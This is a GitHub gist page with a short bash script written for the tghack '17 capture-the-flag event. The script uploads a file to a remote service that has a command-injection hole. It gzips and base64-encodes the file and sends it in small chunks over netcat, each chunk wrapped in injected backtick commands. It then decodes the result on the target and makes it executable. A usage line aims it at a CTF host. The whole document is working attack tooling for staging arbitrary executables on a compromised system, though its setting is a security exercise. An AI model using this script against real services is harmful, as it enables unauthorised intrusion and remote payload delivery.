Created
April 16, 2017 19:42
-
-
Save stigok/b39aa21ad16174b9deaf45e673bedbde to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# made for tghack '17 | |
# desc: upload a file chunked through a shell with length | |
# restrictions of commands. you might need to manually | |
# tune the BUFLEN to stay within the limits. sh syntax | |
# errors appears when you're out of bounds. | |
# | |
# todo: progress bar | |
# | |
HOST=${1} | |
PORT=${2} | |
FILE=${3} | |
DEST=${4:-"/tmp/$$"} | |
if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then | |
>&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]" | |
exit 2 | |
fi | |
# Compress file and remove newlines to make it easy to echo | |
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')" | |
SIZE=${#COMPRESSED} | |
BUFLEN=33 | |
INDEX=0 | |
NETCAT="nc -q 0 $HOST $PORT" | |
#NETCAT="cat" | |
# Upload file | |
while [ $INDEX -le $SIZE ]; do | |
SUBSTR=${COMPRESSED:$INDEX:$BUFLEN} | |
# Pipe chunk through netcat and append to destination file | |
# \x60 is a backtick | |
printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT | |
INDEX=$(( $INDEX + $BUFLEN )) | |
done | |
# Decompress and make executable | |
printf '\x60cat %b|base64 -d|zcat>%b.sh\x60' $DEST $DEST | $NETCAT | |
printf '\x60chmod +x %b.sh\x60' $DEST | $NETCAT | |
echo "Executable at $DEST.sh" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Usage:
ncupl time.tghack.no 1111 /usr/bin/ssh